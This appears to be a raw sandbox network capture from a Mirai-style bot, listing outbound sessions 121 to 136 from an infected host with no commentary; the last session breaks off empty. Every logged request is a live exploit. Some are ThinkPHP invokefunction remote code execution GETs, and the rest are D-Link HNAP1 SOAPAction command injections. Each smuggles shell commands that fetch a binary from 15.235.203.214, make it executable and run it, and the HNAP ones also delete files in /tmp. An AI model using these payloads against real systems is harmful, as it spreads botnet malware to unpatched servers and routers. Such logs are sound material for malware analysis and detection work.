Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	49470	95.199.108.166	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.850862980 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	41502	49.49.107.76	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.853503942 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	41362	157.217.88.36	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.858823061 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	52606	95.29.14.111	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.860387087 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	53678	103.122.90.220	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.862931013 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	39770	182.241.162.14	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.868673086 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	44978	95.186.203.212	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.870703936 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	38876	101.167.238.79	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.873853922 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	55508	129.66.19.4	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.877737999 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	53686	95.83.199.37	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.879018068 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	58430	42.37.47.7	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.881367922 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	48288	209.221.156.98	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.885301113 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	36272	95.77.163.115	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.886684895 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	36372	195.218.137.89	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.889092922 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	41118	221.225.197.171	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.893487930 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	33024	95.63.144.57	80

Timestamp	Bytes transferred	Direction	Data
